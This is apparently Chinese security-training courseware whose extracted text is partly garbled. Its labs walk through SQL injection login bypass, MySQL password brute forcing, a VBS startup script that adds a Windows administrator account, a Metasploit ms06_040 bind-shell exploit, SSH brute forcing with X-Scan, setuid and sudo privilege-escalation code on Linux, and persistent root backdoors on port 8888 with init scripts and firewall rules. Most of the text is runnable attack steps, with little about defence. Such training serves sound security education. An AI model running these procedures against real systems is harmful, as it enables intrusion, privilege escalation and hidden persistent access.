1、实训一实训一对对MySQL数据库进行数据库进行SQL注入攻击注入攻击实训目的:实训目的:SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,可能被入侵很长时间管理员都不会发觉。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些用户想得知的数据,这就是所谓的SQL Injection,即SQL注入。u掌握SQL注入基本手段 u了
2、解WEB站点的脆弱性 u修复存在SQL注入可能的漏洞 漏洞利用漏洞利用实训步骤:实训步骤:通过分析存在SQL注入漏洞的PHP系统实例,掌握的常见SQL注入的基础知识 假设我们知道该系统管理员用户名为admin,使用不同的帐户密码登录将会进入下图所示页面 漏洞尝试在对一个网站进行安全检测的时候,检测者并不知道被检测的网站使用的是什么数据库及网页程序语言,需要对其进行一些手动探测。本实验中,在“用户”框输入一个单引号,密码留空,点击“登录”。结果分析:从返回信息Warning:mysql_fetch_array():supplied argument is not a valid MySQL re
3、sult resource in /var/www/login.php on line 12可以得知系统使用了PHP+MYSQL的架构,以及路径信息等。而且很有可能存在含注入漏洞的SQL语句,如SELECT*FROM data WHERE name=。在上面的登陆界面中,选择IE浏览器的 查看-源文件,读取html源码 通过分析html源码,可以知道提交的username、password字段及post提交方式,及login.php的处理页面,后台的SQL语句确定是:SELECT*FROM TABLES WHERE username=$username 输入用户名为单引号,形成以下SQL语句:
4、SELECT*FROM TABLES WHERE username=这样,最后的那个单引号就多余了,造成了语法错误。综上所述,我们现在可以确定注入成功的条件了,登陆时username输入框输入如下内容即可,甚至不需要输入密码:adminor1=1admin#注:注:adminor1=1构建了SELECT*FROM user WHERE username=adminor 1=1 AND password=语句,直接通过1=1的恒等条件,让验证通过;而admin#构建了SELECT*FROM user WHERE username=admin#AND password=语句,用#形成对后半部分语句
5、的注释,保证验证通过。实训二实训二MySQL数据库漏洞利用数据库漏洞利用实训目的:实训目的:I.习使用口令暴力破解工具猜测Mysql帐户弱口令。II.了解利用VBS脚本自动添加Mysql帐户信息。III.学习常见的Mysql数据库安全加固方法。漏洞利用漏洞利用实训步骤:实训步骤:A.探测探测MYSQL 对mysql服务器进行探测,telnet对方的3306端口。服务器返回成功登录的信息,这说明服务器正运行着mysql服务 B.安装安装MySQL客户端客户端cd C:Program FilesMySQLMySQL 5.0bin C.尝试登陆尝试登陆 尝试使用“root”帐号和空密码登录mysql
6、服务器,在MySQL客户端bin目录下使用如下命令:下载MySQL数据库客户端(mysql-5.0.22-win32.exe),并进行程序安装,在实验者PC上,打开CMD命令行窗口,在CMD命令窗口中,将当前路径切换到MySQL安装目录的“bin”,使用如下命令:mysql-hxx.xx.xx.xx-uroot返回以下信息:ERROR 1045(28000):Access denied for user rootxx.xx.xx.xx(using password:NO)。D.口令破解口令破解 以上信息说明root帐号存在并且允许操作者通过任何主机登录,只不过因为密码错误而登录失败,即密码不为
7、空。既然由于管理员的疏忽或贪图方便导致root帐号可以从任何一台主机上登录服务器,那我们可以通过远程破解他的密码拿下mysql的权限,进而实施一系列的操作获得系统权限吗?答案是肯定的!下面我们今天要使用的工具“CrackU”隆重登场了。E.CrackU的使用的使用 该工具是一个基于命令行的口令破解工具,可破解mysql,telnet,SQL Server等口令。用法如下图(其中“F:SandBoxtmpCrackU”为该工具所在的本地路径)。F.登陆服务器登陆服务器攻击者使用刚才获得的管理员帐号成功登录服务器 E.获取管理员权限获取管理员权限在名为mysql的数据库建一个名为a,只有一列名为c
8、md的表。可使用以下的命令:use mysql;create table a(cmd text);向cmd表里插入四行数据insert into a set cmd=set wshshell=createobject(wscript.shell)r;insert into a set cmd=a=wshshell.run(cmd.exe/c net user 1 1/add,0)r;insert into a set cmd=b=wshshell.run(cmd.exe/c net user 1/active:yes,0)r;insert into a set cmd=c=wshshell.r
9、un(cmd.exe/c net localgroup Administrators 1/add,0)r;插入数据部分完成,测试。把它导成一个可执行文件(.vbs)到系统的启动组里上图中标黄色的字体是我们要输入的命令行,标蓝色字体是系统返回的信息 问题出现了,系统报错。因为系统默认安装时是不支持中文字符的,把参数character_set_client改成utf8,再把刚才的命令重新输入即可。生成的.vbs文件会在系统下次启动的时候起效,生成一个名为“1”,密码也为“1”的管理员帐号。G.成功登陆系统成功登陆系统等对方系统起来后,我们就可以用“1”这个帐号通过远程桌面登录对方系统了。实训二实训
10、二 Windows系统缓冲区溢出漏洞利用系统缓冲区溢出漏洞利用实训目的:实训目的:p微软的Server 服务中存在一个远程执行代码漏洞,成功利用此漏洞的攻击者可以完全控制受影响的系统。p通过本实验可以了解Windows系统漏洞所能带来的危险,以及如何针对特定的Windows系统漏洞进行防御。漏洞利用漏洞利用实训步骤:实训步骤:a.GUI界面下使用Metasploit:从开始菜单里点击程序-Metasploit 3-Metasploit 3 GUIb.直接在搜索栏输入ms06_040,返回结果ms06_040_netapic.双击返回结果ms06_040_netapi,弹出目标机操作系统选择对话
11、框,请选择Automatic d.点击前进,选择payload 参数windows/shell_bind_tcp后点击前进。e.在RHOST参数里填上目标机的IP地址,其它项按默认配置进行。f.检测各项设置,在此步时可以选择保存现有的配置,以便下次使用。g.点击应用按钮,则可以开始对被攻击主机使用漏洞利用攻击,如果攻击成功,在metasploit界面的sessions栏中可以看到下图中高亮内容,双击后即可获得被攻击主机上的shell(DOS命令行)。f.进入C:Documents and SettingsAdministratorMy Documents目录,shell没有报错,已经取得系统权
12、限。实训实训思考思考:I.临时解决方案:在防火墙处阻止TCP端口139和445。II.安装微软官方提供的安全补丁,该补丁可在以下路径获取:http:/ Linux漏洞利用漏洞利用实训目的:实训目的:Linux 操作系统是一款开源的类UNIX操作系统,有多种发行版(Distributions),如 RedHat Linux、SUSE Linux、Debian Linux等等等等。这些发行版在系统安装、包管理、桌面应用等方面各有特色,但是其操作系统内核(Kernel)均来自于一个组织(www.kernel.org),该组织负责Linux内核的更新、发布。在部分已发布的内核版本中,存在一些严重影响操
13、作系统安全的漏洞,Hacker 或 Cracker通过利用这些漏洞达到入侵并控制目标主机的目的,Cracker 甚至会通过这些漏洞入侵有问题的主机及该主机所在网络,以达到窃取保密信息、散播蠕虫木马、发起DDOS攻击等目的。通过2种不同漏洞的利用(内核调用漏洞及系统工具漏洞),对普通帐号进行本地提权,通过实际操作增加实验者对网络安全及主机操作系统安全的认识,对希望成为合格的 SA(System Administrator&Security Administrator)的实验者进行系统漏洞类的部分基础知识介绍。漏洞利用漏洞利用实训实训步骤步骤:A.远程远程SSH服务口令暴力破解服务口令暴力破解 运
14、行 xscan_gui.exe 启动X-Scan程序。选择菜单 设置-扫描参数,弹出参数设置窗口,左侧选中检测范围选项,在右侧的“指定IP范围”下的文本框中输入目标主机IP地址 点开左侧的全局设置,进一步设置参数,选中左侧的“扫描模块”,在右侧仅选中 SSH弱口令 为了加快扫描速度,适当增加扫描线程数,点击左侧的“并发扫描”,在右侧的ListBox中将ssh的扫描线程数修改为 30全局设置 点击左侧的“其他设置”,在右侧中仅选中“无条件扫描”点开左侧的插件设置,选中“端口相关设置”,在右侧的“待检测端口”下的文本框中输入SSH服务的默认端口号22 选中左侧的“字典文件设置”,双击右侧的“SSH
15、密码字典”及“SSH用户名字典”,分别设置为 ssh_pass.dic 及 ssh_user.dic,最后点击“确定”关闭参数设置窗口 点击绿色右三角图标开始扫描,扫描完成后 扫描完成后会自动打开系统默认浏览器显示扫描结果,在 X-Scan 工具主窗口也可以看到相应结果,在左侧窗口中“/”前面是用户名,后面是密码;在“安全漏洞及解决方案”列中,“/”前面是用户名,后面是密码B.Linux本地提权本地提权1:利用内核调用漏洞(:利用内核调用漏洞(prctl()调用)调用)用第一步获取的账户 tester(对此帐户进行提权)登录远程主机 创建编写提权代码文件 命令格式:testerLT-cours
16、eware-0007$cat ex.c ex2.c _EOF 代码内容如:#include int main(void)setuid(0);setgid(0);seteuid(0);setegid(0);system(“/bin/sh”);return(0);b).编译提权文件ex2 命令格式:sh-3.00#gcc-o ex2 ex2.c staticc).执行提权文件ex2 命令格式:sh-3.00#./ex2d).查看当前用户状态,可以看到当前的 uid 已经是 0 了,即获得了 root shell 命令格式:sh-3.00#id【说明】至此,利用内核调用漏洞进行Linux本地用户提权
17、成功,已经在tester帐户环境下获取了root shell(即获得了拥有root权限的shell)。C.LINUX本地提权本地提权2:利用系统工具漏洞(:利用系统工具漏洞(SUDO)用第一步获取的账户 test(对此帐户进行提权)登录远程主机 切换到c shell命令格式:testLT-courseware-0007$csh 创建辅助脚本及提权源代码 命令格式:testLT-courseware-0007$cat ex.sh ex.c _EOF 帐户提权代码内容如下:#include int main(void)setuid(0);system(“/bin/sh”);return(0);准备
18、辅助脚本,编译提权代码a).为辅助脚本ex.sh文件添加执行权限 命令格式:testLT-courseware-0007$chmod u+x ex.sh b).编译提权源代码文件 命令格式:testLT-courseware-0007$gcc-o ex ex.c c).查看文件属性,ex.sh 脚本具有了执行权限,ex 可执行程序的属主为 test,组也为test 命令格式:testLT-courseware-0007$ls-al ex.shtestLT-courseware-0007$ls-al ex 设置环境变量,利用sudo 的漏洞改变 ex 可执行程序的属主和组,同时为其设置suid,
19、我们可以看到,ex 可执行程序的属主改变为 root,组也改变为root,同时设置了s位 命令格式:testLT-courseware-0007$setenv SHELLOPTS xtracetestLT-courseware-0007$setenv PS4$(chown root:root ex;chmod u+s ex)testLT-courseware-0007$sudo./ex.sh 查看提权文件ex的文件属性,ex 可执行程序的属主改变为 root,组也改变为root,同时设置了s位命令格式:testLT-courseware-0007$ls-al ex 注:若执行“sudo./ex
20、.sh”后提示输入密码,则输入 test 账户的密码。执行./ex 进行提权,我们可以看到,当前的 uid 已经是 0 了,即获得了 root shell 命令格式:testLT-courseware-0007$./ex D.简易后门制作简易后门制作1:添加添加/修改帐户,将后门程序作为默认修改帐户,将后门程序作为默认shell 在刚才获取的 root shell 权限的帐户test中,切换当前目录为/bin命令格式:sh-3.00#cd/bin 创建后门程序 命令格式:sh-3.00#cat bd.c _EOF 后门程序代码如:#include int main(void)setuid(0)
21、;setgid(0);seteuid(0);setegid(0);system(“/bin/sh”);return(0);编译后门程序bd.c文件,并将原bd.c文件删除 命令格式:sh-3.00#gcc-o bd bd.c-staticsh-3.00#rm-f bd.c 添加账户或修改当前账户,并将该账户的 shell 设置为后门程序以直接获取 root shell 命令格式:sh-3.00#/usr/sbin/useradd-d/tmp-s/bin/bd testbdsh-3.00#psaaword testbd 图中红色框内的内容为创建后门程序,黄色框内的内容为添加一个账户,并设置该账户
22、的home目录为/tmp,登录shell为刚才创建的后门程序,帐户添加成功后用 passwd 命令设置为其密码。使用新创建的帐户testbd进行登录测试,启动一个新的 Putty 窗口,输入添加帐户testbd时设置的密码,登录后输入 id 查看用户权限:root shell 至此,已经完成帐户添加/修改简易后门程序制作,使得新添加,修改的帐户直接拥有默认的root shell权限。不需要再通过本地提权方式进行提权后在获得root shell 权限。E.简易后门制作简易后门制作2:将后门程序设置为自启动,通过网络登录:将后门程序设置为自启动,通过网络登录 保持刚才获取的 root shell
23、窗口打开;后面需要使用此窗口。在本机启动putty sftp 服务器端软件工具,上传后门文件(ndoor.bz2)命令格式:psftp open 目标主机目标主机 IP【需要输入用户名以及密码需要输入用户名以及密码】psftp lcd 切换本地目录到切换本地目录到 ndoor.bz2 文件所在路径文件所在路径psftp put ndoor.bz2 查看上传ndoor.bz2文件是否已经存在,并退出psftp 命令格式:psftp ls*.bz2psftp exit 另起一个 Putty 程序,用普通帐户test登录。在test用户目录中查看ndoor.bz2文件,并解压缩刚才上传的后门程序 命
24、令格式:testLT-courseware-0007-$ls-al ndoor.bz2testLT-courseware-0007-$bunzip2 ndoor.bz2 切换到 root shell,【使用test帐户登录提权后的putty窗口】修改后门程序的属主、组及权限,并将其移动到系统目录中,切换到ndoor文件的解压目录 命令格式:sh-3.00#cd/home/testsh-3.00#ls-al ndoor(修改程序属性并查看修改结果)ssh-3.00#chown root:root ndoorsh-3.00#chmod 755 ndoorsh-3.00#ls-al ndoor(移动
25、ndoor文件到/bin目录下)sh-3.00#mv ndoor/bin 创建启动脚本,并在 run level 3 及 run level 5 中添加自启动 命令格式:sh-3.00#cat /etc/init.d/sysbd _EOF 启动脚本内容:case“$1”in start)-x/bin/ndoor&/bin/ndoor ;esac 修改创建启动脚本的文件属性 命令格式:sh-3.00#chown root:root/etc/init.d/sysbdsh-3.00#chmod u+x/etc/init.d/sysbdsh-3.00#ln-s/etc/init.d/sysbd/etc
26、/rc.d/rc3.d/S98sysbdsh-3.00#ln-s/etc/init.d/sysbd/etc/rc.d/S98sysbd 注:“$1”前的“”不能省略。用刚才创建的启动脚本启动后门进程 命令格式:sh-3.00#/etc/init.d/sysbd startsh-3.00#netstat-anp|grep ndoor 添加iptables规则以打开后门程序的端口,并保存添加的规则 命令格式:sh-3.00#/sbin/iptables-I INPUT-m tcp-p tcp-dport 8888-j ACCEPTsh-3.00#/etc/init.d/iptables save 启动一个新的 Putty 窗口,输入目标主机IP地址,端口填写 8888,协议选择为 Raw,点击 Open 打开新连接 连接建立后,出现 nbd shell#提示符,输入 id 可以看到 uid=0,即这是一个 root shell;输入 whoami 可以看到是 root;输入 pwd 看到当前工作路径为根,最后输入 exit 或 quit 断开这个连接 命令格式:nbd shell#idnbd shell#whoaminbd shell#pwd 13.退出root shell 状态 命令格式:nbd shell#exit